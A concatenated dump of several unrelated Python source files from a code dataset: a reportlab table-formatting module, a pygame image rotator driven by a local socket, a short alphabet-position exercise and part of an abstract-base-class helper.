empty_res=1):\n        \"\"\"Check the original DataFrame's column labels to find a subset of the current region\n        :param match_value_or_fct: value or function(hdr_value) which returns True for match\n        :param levels: [None, scalar, indexer]\n        :param max_matches: maximum number of columns to return\n        :return:\n        \"\"\"\n        allmatches = self.parent._find_column_label_positions(match_value_or_fct, levels)\n        # only keep matches which are within this region\n        matches = [m for m in allmatches if m in self.col_ilocs]\n        if max_matches and len(matches) > max_matches:\n            matches = matches[:max_matches]\n\n        if matches:\n            return RegionFormatter(self.parent, self.row_ilocs, pd.Int64Index(matches))\n        elif empty_res:\n            return self.empty_frame()\n\n    def match_row_labels(self, match_value_or_fct, levels=None, max_matches=0, empty_res=1):\n        \"\"\"Check the original DataFrame's row labels to find a subset of the current region\n        :param match_value_or_fct: value or function(hdr_value) which returns True for match\n        :param levels: [None, scalar, indexer]\n        :param max_matches: maximum number of columns to return\n        :return:\n        \"\"\"\n        allmatches = self.parent._find_row_label_positions(match_value_or_fct, levels)\n        # only keep matches which are within this region\n        matches = [m for m in allmatches if m in self.row_ilocs]\n        if max_matches and len(matches) > max_matches:\n            matches = matches[:max_matches]\n\n        if matches:\n            return RegionFormatter(self.parent, pd.Int64Index(matches), self.col_ilocs)\n        elif empty_res:\n            return self.empty_frame()\n\n    def match_any_labels(self, match_value_or_fct, levels=None, max_matches=0, empty_res=1):\n        res = self.match_column_labels(match_value_or_fct, levels, max_matches, empty_res=0)\n        res = res or self.match_row_labels(match_value_or_fct, levels, max_matches, empty_res)\n        return res\n\n    def iter_rows(self, start=None, end=None):\n        \"\"\"Iterate each of the Region rows in this region\"\"\"\n        start = start or 0\n        end = end or self.nrows\n        for i in range(start, end):\n            yield self.iloc[i, :]\n\n    def iter_cols(self, start=None, end=None):\n        \"\"\"Iterate each of the Region cols in this region\"\"\"\n        start = start or 0\n        end = end or self.ncols\n        for i in range(start, end):\n            yield self.iloc[:, i]\n\n    def __repr__(self):\n        return repr(self.formatted_values)\n\n    def apply_style(self, cmd, *args):\n        \"\"\"\n        Apply the specified style cmd to this region. For example, set all fonts to size 12, apply_style('FONTSIZE', 12)\n        :param cmd: reportlab  format command\n        :param args: arguments for the cmd\n        :return: self\n        \"\"\"\n        for c0, c1 in self.col_coord_tuples:\n            for r0, r1 in self.row_coord_tuples:\n                c = [cmd, (c0, r0), (c1, r1)] + list(args)\n                self.style_cmds.append(c)\n        return self\n\n    def apply_styles(self, cmdmap):\n        \"\"\"\n        Apply the set of commands defined in cmdmap. for example, apply_styles({'FONTSIZE': 12, 'BACKGROUND': white})\n        :param cmdmap: dict of commands mapped to the command arguments\n        :return: self\n        \"\"\"\n        is_list_like = lambda arg: isinstance(arg, (list, tuple))\n        is_first_param_list = lambda c: c in ('COLBACKGROUNDS', 'ROWBACKGROUNDS')\n        for cmd, args in cmdmap.iteritems():\n            if not is_list_like(args):\n                args = [args]\n            elif is_first_param_list(cmd) and is_list_like(args) and not is_list_like(args[0]):\n                args = [args]\n            self.apply_style(cmd, *args)\n        return self\n\n    def apply_conditional_styles(self, cbfct):\n        \"\"\"\n        Ability to provide dynamic styling of the cell based on its value.\n        :param cbfct: function(cell_value) should return a dict of format commands to apply to that cell\n        :return: self\n        \"\"\"\n        for ridx in range(self.nrows):\n            for cidx in range(self.ncols):\n                fmts = cbfct(self.actual_values.iloc[ridx, cidx])\n                fmts and self.iloc[ridx, cidx].apply_styles(fmts)\n        return self\n\n    def detect_colspans(self, use_actual=1):\n        \"\"\"Determine if any col spans are present in the values.\n        :param use_actual:  if True, check actual_values for span. if False, use the formatted_values\n        :return: self\n        \"\"\"\n        vals = self.actual_values if use_actual else self.formatted_values\n        if self.is_contiguous_cols:\n            for ridx in range(self.nrows):\n                for c0, c1 in span_iter(vals.iloc[ridx, :]):\n                    actual_idx = self.row_ilocs[ridx]\n                    self.style_cmds.append(['SPAN', (c0, actual_idx), (c1, actual_idx)])\n        return self\n\n    def detect_rowspans(self, use_actual=1):\n        \"\"\"Determine if any row spans are present in the values.\n        :param use_actual:  if True, check actual_values for span. if False, use the formatted_values\n        :return: self\n        \"\"\"\n        \"\"\" Determine if any row spans are present\"\"\"\n        vals = self.actual_values if use_actual else self.formatted_values\n        if self.is_contiguous_rows:\n            for cidx in range(self.ncols):\n                for r0, r1 in span_iter(vals.iloc[:, cidx]):\n                    actual_idx = self.col_ilocs[cidx]\n                    self.style_cmds.append(['SPAN', (actual_idx, r0), (actual_idx, r1)])\n        return self\n\n    def detect_spans(self, colspans=1, rowspans=1, use_actual=1):\n        colspans and self.detect_colspans(use_actual)\n        rowspans and self.detect_rowspans(use_actual)\n\n    def apply_format(self, fmtfct):\n        \"\"\"\n        For each cell in the region, invoke fmtfct(cell_value) and store result in the formatted_values\n        :param fmtfct: function(cell_value) which should return a formatted value for display\n        :return: self\n        \"\"\"\n        for ridx in range(self.nrows):\n            for cidx in range(self.ncols):\n                # MUST set the parent as local view is immutable\n                riloc = self.row_ilocs[ridx]\n                ciloc = self.col_ilocs[cidx]\n                self.parent.formatted_values.iloc[riloc, ciloc] = fmtfct(self.actual_values.iloc[ridx, cidx])\n        return self\n\n    def apply_rowattrs(self, **kwargs):\n        for k, v in kwargs.iteritems():\n            self.parent.rowattrs.iloc[self.row_ilocs, k] = v\n        return self\n\n    def apply_colattrs(self, **kwargs):\n        for k, v in kwargs.iteritems():\n            self.parent.colattrs.loc[self.col_ilocs, k] = v\n        return self\n\n    def apply(self, **kwargs):\n        \"\"\"\n        Accepts the following keys:\n        'styles': see apply_styles for args\n        'cstyles': see apply_condition_styles for args\n        'format': see apply_format for args\n        'c': col width (array or scalar)\n        'cmin': min col width (array or scalar)\n        'cmax': max col width (array or scalar)\n        'cweight: col weight use at runtime to determine width\n        'r': row height (array or scalar)\n        'rmin': min row height (array or scalar)\n        'rmax': max row height (array or scalar)\n        'rweight: row weight use at runtime to determine height\n        'cspans': detect colspans\n        'rspans': detect rowspans\n        'spans': bool, detetch both rowspans and colspans\n\n        @param kwargs:\n        @return:\n        \"\"\"\n\n        def _apply_if_avail(key, fct):\n            if key in kwargs:\n                val = kwargs.pop(key)\n                if val is not None:\n                    fct(val)\n\n        _apply_if_avail('styles', lambda v: self.apply_styles(v))\n        _apply_if_avail('cstyles', lambda v: self.apply_conditional_styles(v))\n        _apply_if_avail('format', lambda v: self.apply_format(v))\n        _apply_if_avail('c', lambda v: self.apply_colattrs(value=v))\n        _apply_if_avail('cmin', lambda v: self.apply_colattrs(min=v))\n        _apply_if_avail('cmax', lambda v: self.apply_colattrs(max=v))\n        _apply_if_avail('cweight', lambda v: self.apply_colattrs(weight=v))\n        _apply_if_avail('r', lambda v: self.apply_rowattrs(value=v))\n        _apply_if_avail('rmin', lambda v: self.apply_rowattrs(min=v))\n        _apply_if_avail('rmax', lambda v: self.apply_rowattrs(max=v))\n        _apply_if_avail('rweight', lambda v: self.apply_rowattrs(weight=v))\n        _apply_if_avail('rspans', lambda v: v and self.detect_rowspans())\n        _apply_if_avail('cspans', lambda v: v and self.detect_colspans())\n        _apply_if_avail('spans', lambda v: v and (self.detect_rowspans(), self.detect_colspans()))\n\n    def apply_number_format(self, formatter, rb=1, align=1):\n        styles = align and AlignRight or {}\n        cstyles = rb and ConditionalRedBlack or None\n        self.apply(format=formatter, styles=styles, cstyles=cstyles)\n        return self\n\n    def _do_number_format(self, rb, align, fmt_fct, fmt_args, defaults):\n        args = {}\n        defaults and args.update(defaults)\n        fmt_args and args.update(fmt_args)\n        f = pad_positive_wrapper(fmt_fct(**args))\n        return self.apply_number_format(f, rb=rb, align=align)\n\n    def percent_format(self, rb=1, align=1, **fmt_args):\n        defaults = {'precision': 2, 'nan': '-'}\n        return self._do_number_format(rb, align, fmt.new_percent_formatter, fmt_args, defaults)\n\n    def int_format(self, rb=1, align=1, **fmt_args):\n        defaults = {'nan': '-'}\n        return self._do_number_format(rb, align, fmt.new_int_formatter, fmt_args, defaults)\n\n    def float_format(self, rb=1, align=1, **fmt_args):\n        defaults = {'precision': 2, 'nan': '-'}\n        return self._do_number_format(rb, align, fmt.new_float_formatter, fmt_args, defaults)\n\n    def thousands_format(self, rb=1, align=1, **fmt_args):\n        defaults = {'precision': 1, 'nan': '-'}\n        return self._do_number_format(rb, align, fmt.new_thousands_formatter, fmt_args, defaults)\n\n    def millions_format(self, rb=1, align=1, **fmt_args):\n        defaults = {'precision': 1, 'nan': '-'}\n        return self._do_number_format(rb, align, fmt.new_millions_formatter, fmt_args, defaults)\n\n    def billions_format(self, rb=1, align=1, **fmt_args):\n        defaults = {'precision': 1, 'nan': '-'}\n        return self._do_number_format(rb, align, fmt.new_billions_formatter, fmt_args, defaults)\n\n    def guess_number_format(self, rb=1, align=1, **fmt_args):\n        \"\"\"Determine the most appropriate formatter by inspected all the region values\"\"\"\n        fct = fmt.guess_formatter(self.actual_values, **fmt_args)\n        return self.apply_number_format(fct, rb=rb, align=align)\n\n    def guess_format(self, rb=1, align=1, **fmt_args):\n        from tia.util.fmt import NumberFormat\n\n        fct = fmt.guess_formatter(self.actual_values, **fmt_args)\n        if isinstance(fmt, NumberFormat):\n            return self.apply_number_format(fct, rb=rb, align=align)\n        else:\n            return self.apply_format(fct)\n\n    def dynamic_number_format(self, rb=1, align=1, **fmt_args):\n        \"\"\"Formatter changes based on the cell value\"\"\"\n        fct = fmt.DynamicNumberFormatter(**fmt_args)\n        return self.apply_number_format(fct, rb=rb, align=align)\n\n    # def heat_map(self, cmap=None, min=None, max=None, font_cmap=None):\n    def heat_map(self, cmap='RdYlGn', vmin=None, vmax=None, font_cmap=None):\n        if cmap is None:\n            carr = ['#d7191c', '#fdae61', '#ffffff', '#a6d96a', '#1a9641']\n            cmap = LinearSegmentedColormap.from_list('default-heatmap', carr)\n\n        if isinstance(cmap, basestring):\n            cmap = get_cmap(cmap)\n        if isinstance(font_cmap, basestring):\n            font_cmap = get_cmap(font_cmap)\n\n        vals = self.actual_values.astype(float)\n        if vmin is None:\n            vmin = vals.min().min()\n        if vmax is None:\n            vmax = vals.max().max()\n        norm = (vals - vmin) / (vmax - vmin)\n        for ridx in range(self.nrows):\n            for cidx in range(self.ncols):\n                v = norm.iloc[ridx, cidx]\n                if np.isnan(v):\n                    continue\n                color = cmap(v)\n                hex = rgb2hex(color)\n                styles = {'BACKGROUND': HexColor(hex)}\n                if font_cmap is not None:\n                    styles['TEXTCOLOR'] = HexColor(rgb2hex(font_cmap(v)))\n                self.iloc[ridx, cidx].apply_styles(styles)\n        return self\n\n    heatmap = heat_map\n\n    def set_font(self, name=None, size=None, leading=None, color=None):\n        name and self.set_fontname(name)\n        size and self.set_fontsize(size)\n        leading and self.set_leading(leading)\n        color and self.set_textcolor(color)\n        return self\n\n    def set_fontname(self, name):\n        return self.apply_style('FONTNAME', name)\n\n    def set_fontsize(self, size):\n        return self.apply_style('FONTSIZE', size)\n\n    def set_textcolor(self, color):\n        return self.apply_style('TEXTCOLOR', color)\n\n    def set_leading(self, n):\n        return self.apply_style('LEADING', n)\n\n    def set_valign(self, pos):\n        return self.apply_style('VALIGN', pos)\n\n    def set_valign_middle(self):\n        return self.set_valign('MIDDLE')\n\n    def set_valign_center(self):\n        return self.set_valign_middle()\n\n    def set_valign_top(self):\n        return self.set_valign('TOP')\n\n    def set_valign_bottom(self):\n        return self.set_valign('BOTTOM')\n\n    def set_align(self, pos):\n        return self.apply_style('ALIGN', pos)\n\n    def set_align_center(self):\n        return self.set_align('CENTER')\n\n    def set_align_middle(self):\n        return self.set_align_center()\n\n    def set_align_left(self):\n        return self.set_align('LEFT')\n\n    def set_align_right(self):\n        return self.set_align('RIGHT')\n\n    def set_pad(self, left, bottom, right, top):\n        return self.set_lpad(left).set_bpad(bottom).set_rpad(right).set_tpad(top)\n\n    def set_lpad(self, n):\n        return self.apply_style('LEFTPADDING', n)\n\n    def set_bpad(self, n):\n        return self.apply_style('BOTTOMPADDING', n)\n\n    def set_rpad(self, n):\n        return self.apply_style('RIGHTPADDING', n)\n\n    def set_tpad(self, n):\n        return self.apply_style('TOPPADDING', n)\n\n    def set_box(self, weight=DefaultWeight, color=None, cap=None, dashes=None, join=None, count=None, space=None):\n        return self.apply_style('BOX', weight, color, cap, dashes, join, count, space)\n\n    def set_grid(self, weight=DefaultWeight, color=None, cap=None, dashes=None, join=None, count=None, space=None):\n        return self.apply_style('GRID', weight, color, cap, dashes, join, count, space)\n\n    def set_lineabove(self, weight=DefaultWeight, color=None, cap=None, dashes=None, join=None, count=None, space=None):\n        return self.apply_style('LINEABOVE', weight, color, cap, dashes, join, count, space)\n\n    def set_linebelow(self, weight=DefaultWeight, color=None, cap=None, dashes=None, join=None, count=None, space=None):\n        return self.apply_style('LINEBELOW', weight, color, cap, dashes, join, count, space)\n\n    def set_linebefore(self, weight=DefaultWeight, color=None, cap=None, dashes=None, join=None, count=None,\n                       space=None):\n        return self.apply_style('LINEBEFORE', weight, color, cap, dashes, join, count, space)\n\n    def set_lineafter(self, weight=DefaultWeight, color=None, cap=None, dashes=None, join=None, count=None, space=None):\n        return self.apply_style('LINEAFTER', weight, color, cap, dashes, join, count, space)\n\n    def set_border_type(self, clazz, weight=DefaultWeight, color=None, cap=None, dashes=None, join=None, count=None,\n                        space=None):\n        \"\"\"example: set_border_type(BorderTypePartialRows) would set a border above and below each row in the range\"\"\"\n        args = locals()\n        args.pop('clazz')\n        args.pop('self')\n        clazz(**args).apply(self)\n\n    def set_background(self, color):\n        return self.apply_style('BACKGROUND', color)\n\n    def set_col_backgrounds(self, colors):\n        \"\"\"Set alternative column colors\"\"\"\n        return self.apply_style('COLBACKGROUNDS', colors)\n\n    def set_row_backgrounds(self, colors):\n        \"\"\"Set alternative row colors\"\"\"\n        return self.apply_style('ROWBACKGROUNDS', colors)\n\n\nclass _RegionIX(object):\n    \"\"\" Custom version of indexer which ensures a DataFrame is created for proper use with the  RangeFormatter\"\"\"\n\n    def __init__(self, region, idx_fct_name='iloc'):\n        self.region = region\n        self.idx_fct_name = idx_fct_name\n\n    def __getitem__(self, key):\n        \"\"\"Sloppy implementation as I do not handle nested tuples properly\"\"\"\n        if isinstance(key, tuple):\n            if len(key) != 2:\n                raise Exception('if tuple is used, it must contain 2 indexers')\n            ridx = key[0]\n            cidx = key[1]\n        else:\n            ridx = key\n            cidx = slice(None)\n\n        region = self.region\n        # bug when ridx is -1 and only a single row - cannot get DataFrame\n        if np.isscalar(ridx) and ridx == -1 and len(region.formatted_values.index) == 1:\n            ridx = [0]\n        else:\n            ridx = [ridx] if np.isscalar(ridx) else ridx\n        cidx = [cidx] if np.isscalar(cidx) else cidx\n        idx = getattr(region.formatted_values, self.idx_fct_name)\n        result = idx[ridx, cidx]\n        if not isinstance(result, pd.DataFrame):\n            raise Exception('index %s is expected to return a DataFrame, not %s' % (key, type(result)))\n        return RegionFormatter(self.region.parent, result.index, result.columns)\n\n\nclass TableFormatter(object):\n    def __init__(self, df, inc_header=1, inc_index=1):\n        self.df = df\n        self.inc_header = inc_header\n        self.inc_index = inc_index\n        self.ncols = ncols = len(df.columns)\n        self.nrows = nrows = len(df.index)\n        self.nhdrs = nhdrs = inc_header and df.columns.nlevels or 0\n        self.nidxs = nidxs = inc_index and df.index.nlevels or 0\n        self.style_cmds = []\n\n        # copy the actual values to the formatted cells\n        values = df.reset_index(drop=not inc_index).T.reset_index(drop=not inc_header).T.reset_index(drop=True)\n        if inc_index and nhdrs > 1:  # move index name down\n            values.iloc[nhdrs - 1, :nidxs] = values.iloc[0, :nidxs]\n            values.iloc[:nhdrs - 1, :nidxs] = ''\n\n        formatted_values = pd.DataFrame(np.empty((nhdrs + nrows, nidxs + ncols), dtype=object))\n        formatted_values.ix[:, :] = values.copy().values\n        self.actual_values = values\n        self.formatted_values = formatted_values\n        self.named_regions = {\n            'ALL': RegionFormatter(self, formatted_values.index, formatted_values.columns),\n            'HEADER': RegionFormatter(self, formatted_values.index[:nhdrs], formatted_values.columns[nidxs:]),\n            'INDEX': RegionFormatter(self, formatted_values.index[nhdrs:], formatted_values.columns[:nidxs]),\n            'CELLS': RegionFormatter(self, formatted_values.index[nhdrs:], formatted_values.columns[nidxs:]),\n            'INDEX_HEADER': RegionFormatter(self, formatted_values.index[:nhdrs], formatted_values.columns[:nidxs]),\n        }\n\n        # Define some fields to handle weight of rows/columns\n        self.rowattrs = pd.DataFrame(np.empty((nhdrs + nrows, 4)), columns=['weight', 'min', 'max', 'value'])\n        self.rowattrs[:] = np.nan\n        self.colattrs = pd.DataFrame(np.empty((nidxs + ncols, 4)), columns=['weight', 'min', 'max', 'value'])\n        self.colattrs[:] = np.nan\n\n    def __getitem__(self, name):\n        return self.named_regions[name]\n\n    def get_default_header_style(self, **overrides):\n        return dict(DefaultHeaderStyle, **overrides)\n\n    def apply_default_cell_style(self, **overrides):\n        styles = dict(DefaultCellStyle, **overrides)\n        self.cells.apply_styles(styles)\n        return self\n\n    def apply_default_header_style(self, inc_index=0, **overrides):\n        styles = self.get_default_header_style(**overrides)\n        self.header.apply_styles(styles)\n        if inc_index:\n            self.index_header.apply_styles(styles)\n        return self\n\n    def apply_default_index_style(self, **overrides):\n        styles = dict(DefaultIndexStyle, **overrides)\n        self.index.apply_styles(styles)\n        return self\n\n    def apply_default_style(self, inc_cells=1, inc_header=1, inc_index=1, inc_index_header=0, cells_override=None,\n                            header_override=None,\n                            index_override=None):\n        inc_cells and self.apply_default_cell_style(**(cells_override or {}))\n        inc_header and self.apply_default_header_style(inc_index=inc_index_header, **(header_override or {}))\n        inc_index and self.apply_default_index_style(**(index_override or {}))\n        return self\n\n    def apply_basic_style(self, font='Helvetica', font_bold='Helvetica-Bold', font_size=8, rpad=None, lpad=None,\n                          bpad=None, tpad=None, colspans=1, rowspans=0, cmap=None, font_bw=1, stripe_rows=1,\n                          stripe_cols=0,\n                          hdr_border_clazz=BorderTypeGrid, cell_border_clazz=BorderTypeOutline, border_weight=.7):\n        Style.apply_basic(self, font=font, font_bold=font_bold, font_size=font_size, rpad=rpad, lpad=lpad, bpad=bpad,\n                          tpad=tpad, colspans=colspans, rowspans=rowspans)\n        Style.apply_color(self, cmap, font_bw=font_bw, stripe_cols=stripe_cols, stripe_rows=stripe_rows,\n                          hdr_border_clazz=hdr_border_clazz, cell_border_clazz=cell_border_clazz,\n                          border_weight=border_weight)\n        return self\n\n    @property\n    def all(self):\n        return self['ALL']\n\n    @property\n    def header(self):\n        return self['HEADER']\n\n    @property\n    def index(self):\n        return self['INDEX']\n\n    @property\n    def index_header(self):\n        return self['INDEX_HEADER']\n\n    @property\n    def cells(self):\n        return self['CELLS']\n\n    def set_row_heights(self, pcts=None, amts=None, maxs=None, mins=None):\n        \"\"\"\n        :param pcts: the percent of available height to use or ratio is also ok\n        :param amts: (Array or scalar) the fixed height of the rows\n        :param maxs: (Array or scalar) the maximum height of the rows (only use when pcts is used)\n        :param mins: (Array or scalar) the minimum height of the rows (only used when pcts is used)\n        :return:\n        \"\"\"\n        for arr, attr in zip([pcts, amts, maxs, mins], ['weight', 'value', 'max', 'min']):\n            if arr is not None:\n                if not np.isscalar(arr):\n                    if len(arr) != len(self.formatted_values.index):\n                        raise ValueError(\n                            '%s: expected %s rows but got %s' % (attr, len(arr), len(self.formatted_values.index)))\n                self.rowattrs.ix[:, attr] = arr\n        return self\n\n    def set_col_widths(self, pcts=None, amts=None, maxs=None, mins=None):\n        \"\"\"\n        :param pcts: the percent of available width to use or ratio is also ok\n        :param amts: (Array or scalar) the fixed width of the cols\n        :param maxs: (Array or scalar) the maximum width of the cols (only use when pcts is used)\n        :param mins: (Array or scalar) the minimum width of the cols (only used when pcts is used)\n        :return:\n        \"\"\"\n        for arr, attr in zip([pcts, amts, maxs, mins], ['weight', 'value', 'max', 'min']):\n            if arr is not None:\n                if not np.isscalar(arr):\n                    if len(arr) != len(self.formatted_values.columns):\n                        raise ValueError(\n                            '%s: expected %s cols but got %s' % (attr, len(arr), len(self.formatted_values.columns)))\n                self.colattrs.ix[:, attr] = arr\n        return self\n\n    def _resolve_dims(self, available, attrs):\n        def _clean(v):\n            return None if np.isnan(v) else v\n\n        if attrs['value'].notnull().any():  # Static values\n            # Assume that if one is set than all are set\n            return [_clean(a) for a in attrs['value']]\n        elif attrs['weight'].notnull().any():\n            # Dynamic values\n            f = attrs\n            f['active'] = (attrs['weight'] * available) / attrs['weight'].sum()\n            f['active'] = f[['active', 'min']].max(axis=1)\n            f['active'] = f[['active', 'max']].min(axis=1)\n            return list(f.active.fillna(0))\n        elif attrs['min'].notnull().any():\n            return [_clean(a) for a in attrs['min']]\n        else:\n            return None\n\n    def resolve_col_widths(self, availWidth):\n        return self._resolve_dims(availWidth, self.colattrs)\n\n    def resolve_row_heights(self, availHeight):\n        return self._resolve_dims(availHeight, self.rowattrs)\n\n    def build(self, expand='wh', shrink='wh', vAlign='MIDDLE', hAlign='CENTER'):\n        return TableLayout(self, expand, shrink, hAlign, vAlign)\n\n    def _find_column_label_positions(self, match_value_or_fct, levels=None):\n        \"\"\"Check the original DataFrame's column labels to find the locations of columns. And return the adjusted\n        column indexing within region (offset if including index)\"\"\"\n        allmatches = find_locations(self.df.columns, match_value_or_fct, levels)\n        if allmatches and self.inc_index:  # tramslate back\n            allmatches = [m + self.nidxs for m in allmatches]\n        return allmatches\n\n    def _find_row_label_positions(self, match_value_or_fct, levels=None):\n        \"\"\"Check the original DataFrame's row labels to find the locations of rows. And return the adjusted\n        row indexing within region (offset if including index)\"\"\"\n        allmatches = find_locations(self.df.index, match_value_or_fct, levels)\n        if allmatches and self.inc_index:  # tramslate back\n            allmatches = [m + self.nhdrs for m in allmatches]\n        return allmatches\n\n\nclass TableLayout(Flowable):\n    def __init__(self, tb, expand='wh', shrink='wh', hAlign='CENTER', vAlign='MIDDLE'):\n        self.tb = tb\n        self.expand = expand or ''\n        self.shrink = shrink or ''\n        self.vAlign = vAlign\n        self.hAlign = hAlign\n        self._style_and_data = None\n        self.component = None\n\n    @property\n    def style_and_data(self):\n        if self._style_and_data is None:\n            data = self.tb.formatted_values.values.tolist()\n            style = TableStyle(self.tb.style_cmds)\n            self._style_and_data = style, data\n        return self._style_and_data\n\n    def wrap(self, aw, ah):\n        style, data = self.style_and_data\n        # Apply any column / row sizes requested\n        widths = self.tb.resolve_col_widths(aw)\n        heights = self.tb.resolve_row_heights(ah)\n        tbl = Table(data, colWidths=widths, rowHeights=heights, style=style, vAlign=self.vAlign, hAlign=self.hAlign,\n                    repeatCols=False, repeatRows=True)\n        w, h = tbl.wrap(aw, ah)\n        pw, ph = w / float(aw), h / float(ah)\n        shrink, expand = self.shrink, self.expand\n        scale = 0\n        if expand and pw < 1. and ph < 1.:\n            scale = max('w' in expand and pw or 0, 'h' in expand and ph or 0)\n        elif shrink and (pw > 1. or ph > 1.):\n            scale = max('w' in shrink and pw or 0, 'h' in expand and ph or 0)\n\n        if scale:\n            self.component = comp = KeepInFrame(aw, ah, content=[tbl], hAlign=self.hAlign, vAlign=self.vAlign)\n            w, h = comp.wrapOn(self.canv, aw, ah)\n            comp._scale = scale\n        else:\n            self.component = tbl\n        return w, h\n\n    def drawOn(self, canvas, x, y, _sW=0):\n        return self.component.drawOn(canvas, x, y, _sW=_sW)\n\n    def split(self, aw, ah):\n        if self.component:\n            return self.component.split(aw, ah)\n        else:\n            return []\n","repo_name":"bpsmith/tia","sub_path":"tia/rlab/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":40193,"program_lang":"python","lang":"en","doc_type":"code","stars":391,"dataset":"github-code","pt":"77"}
+{"seq_id":"23973954469","text":"import pygame\nimport socket\nfrom _thread import *\n\npygame.init()\nscreen = pygame.display.set_mode([400, 400])\npygame.display.set_caption('Rotating image example')\nclock = pygame.time.Clock()\n\nimg = pygame.image.load('images/wheel.png').convert()\n\n# If multiple listeners, uncomment lines below\n\n# def threaded(c):\n#     while True:\n#         try:\n#             data = c.recv(1024)\n#             print(c.getpeername(), ': ', str(data)[2:-1])\n#             # print(type(data))\n#             angle = int(str(data)[2:-1])\n#             rotator(angle)\n#             #print(angle)\n#         except Exception as e:\n#             print(\"Exception at server (Rotator): \", e)\n#             c.close()\n\n\ndef rotator(degree):\n    img_rect = img.get_rect(center=screen.get_rect().center)\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            done = True\n\n    # rotate image\n    rot_img = pygame.transform.rotate(img, degree)\n    img_rect = rot_img.get_rect(center=img_rect.center)\n\n    # copy image to screen\n    screen.fill((255, 255, 255))\n    screen.blit(rot_img, img_rect)\n    pygame.display.flip()\n\n    clock.tick(60)\n    degree += 1\n\n\n### SERVER CODE\nhost = \"127.0.0.1\"\nport = 10000\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((host, port))\nprint(\"Socket binded to post\", port)\ns.listen(5)\nprint(\"Socket is listening\")\n\n# If multiple listeners, add while True:\nc, addr = s.accept()\nprint('Connected to :', addr[0], ':', addr[1])\nwhile True:\n    try:\n        data = c.recv(1024)\n        print(c.getpeername(), ': ', str(data)[2:-1])\n        # print(type(data))\n        #print(type(int(data.decode())))\n        angle = float(data.decode())\n        rotator(angle)\n        if not data:\n            break\n        #print(angle)\n    except ConnectionResetError:\n        print(\"Closing connection at rotator\")\n        s.close()\n        break\n    except ValueError:\n        print(\"here\")\n        continue\n    #start_new_thread(threaded, (c,))\n\n\npygame.quit()\n","repo_name":"smoke-trees/gesture-drive","sub_path":"Angle Calculation/rotator.py","file_name":"rotator.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"3622350658","text":"# https://www.acmicpc.net/problem/10809\nfrom string import ascii_lowercase\n\nS = input()\n\n# S에서 등장한 알파벳이 처음 등장하는 위치를\n# a~z 순으로 나열한다.\n# 등장하지 않는 알파벳은 -1을 출력한다.\n\n# S를 입력받는다\n# ascii_lowercase를 순회한다.\n\nfor c in ascii_lowercase:\n    print(S.find(c), end=\" \")\n","repo_name":"jinyongp/write-code-everyday","sub_path":"baekjoon/src/10809.py","file_name":"10809.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22177973286","text":"import abc\nimport functools\nfrom typing import cast, Callable, Set, TypeVar\n\n\nT = TypeVar('T')\n\n\ndef alternative(*, requires: str, implementation: T) -> Callable[[T], T]:\n    \"\"\"A decorator indicating an abstract method with an alternative default implementation.\n\n    This decorator may be used multiple times on the same function to specify\n    multiple alternatives.  If multiple alternatives are available, the\n    outermost (lowest line number) alternative is used.\n\n    Usage:\n        class Parent(metaclass=ABCMetaImplementAnyOneOf):\n            def _default_do_a_using_b(self, ...):\n                ...\n            def _default_do_a_using_c(self, ...):\n                ...\n\n            # Abstract method with alternatives\n            @alternative(requires='do_b', implementation=_default_do_a_using_b)\n            @alternative(requires='do_c', implementation=_default_do_a_using_c)\n            def do_a(self, ...):\n                '''Method docstring.'''\n\n            # Abstract or concrete methods `do_b` and `do_c`:\n            ...\n\n        class Child(Parent):\n            def do_b(self):\n                ...\n\n        child = Child()\n        child.do_a(...)\n\n    Arguments:\n        requires: The name of another abstract method in the same class that\n            `implementation` needs to be implemented.\n        implementation: A function that uses the method named by requires to\n            implement the default behavior of the wrapped abstract method.  This\n            function must have the same signature as the decorated function.\n    \"\"\"\n\n    def decorator(func: T) -> T:\n        alternatives = getattr(func, '_abstract_alternatives_', [])\n        alternatives.insert(0, (requires, implementation))\n        setattr(func, '_abstract_alternatives_', alternatives)\n        return func\n\n    return decorator\n\n\nclass ABCMetaImplementAnyOneOf(abc.ABCMeta):\n    \"\"\"A metaclass extending `abc.ABCMeta` for defining flexible abstract base classes\n\n    This metadata allows the declaration of an abstract base classe (ABC)\n    with more flexibility in which methods must be overridden.\n\n    Use this metaclass in the same way as `abc.ABCMeta` to create an ABC.\n\n    In addition to the decorators in the` abc` module, the decorator\n    `@alternative(...)` may be used.\n    \"\"\"\n\n    def __new__(mcls, name, bases, namespace, **kwargs):\n        cls = super().__new__(mcls, name, bases, namespace, **kwargs)\n        implemented_by = {}\n\n        def has_some_implementation(name: str) -> bool:\n            if name in implemented_by:\n                return True\n            try:\n                value = getattr(cls, name)\n            except AttributeError:\n                raise TypeError(\n                    f\"A method named '{name}' was listed as a possible \"\n                    'implementation alternative but it does not exist in the '\n                    f'definition of {cls!r}.'\n                )\n            if getattr(value, '__isabstractmethod__', False):\n                return False\n            if hasattr(value, '_abstract_alternatives_'):\n                return False\n            return True\n\n        def find_next_implementations(all_names: Set[str]) -> bool:\n            next_implemented_by = {}\n            for name in all_names:\n                if has_some_implementation(name):\n                    continue\n                value = getattr(cls, name, None)\n                if not hasattr(value, '_abstract_alternatives_'):\n                    continue\n                for alt_name, impl in getattr(value, '_abstract_alternatives_'):\n                    if has_some_implementation(alt_name):\n                        next_implemented_by[name] = impl\n                        break\n            implemented_by.update(next_implemented_by)\n            return bool(next_implemented_by)\n\n        # Find all abstract methods (methods that haven't been implemented or\n        # don't have an implemented alternative).\n        all_names = set(alt_name for alt_name in namespace.keys() if hasattr(cls, alt_name))\n        for base in bases:\n            all_names.update(getattr(base, '__abstractmethods__', set()))\n            all_names.update(\n                alt_name for alt_name, _ in getattr(base, '_implemented_by_', {}).items()\n            )\n        while find_next_implementations(all_names):\n            pass\n        abstracts = frozenset(name for name in all_names if not has_some_implementation(name))\n        # Replace the abstract methods with their default implementations.\n        for name, default_impl in implemented_by.items():\n            abstract_method = getattr(cls, name)\n\n            def wrap_scope(impl: T) -> T:\n                def impl_of_abstract(*args, **kwargs):\n                    return impl(*args, **kwargs)\n\n                functools.update_wrapper(impl_of_abstract, abstract_method)\n                return cast(T, 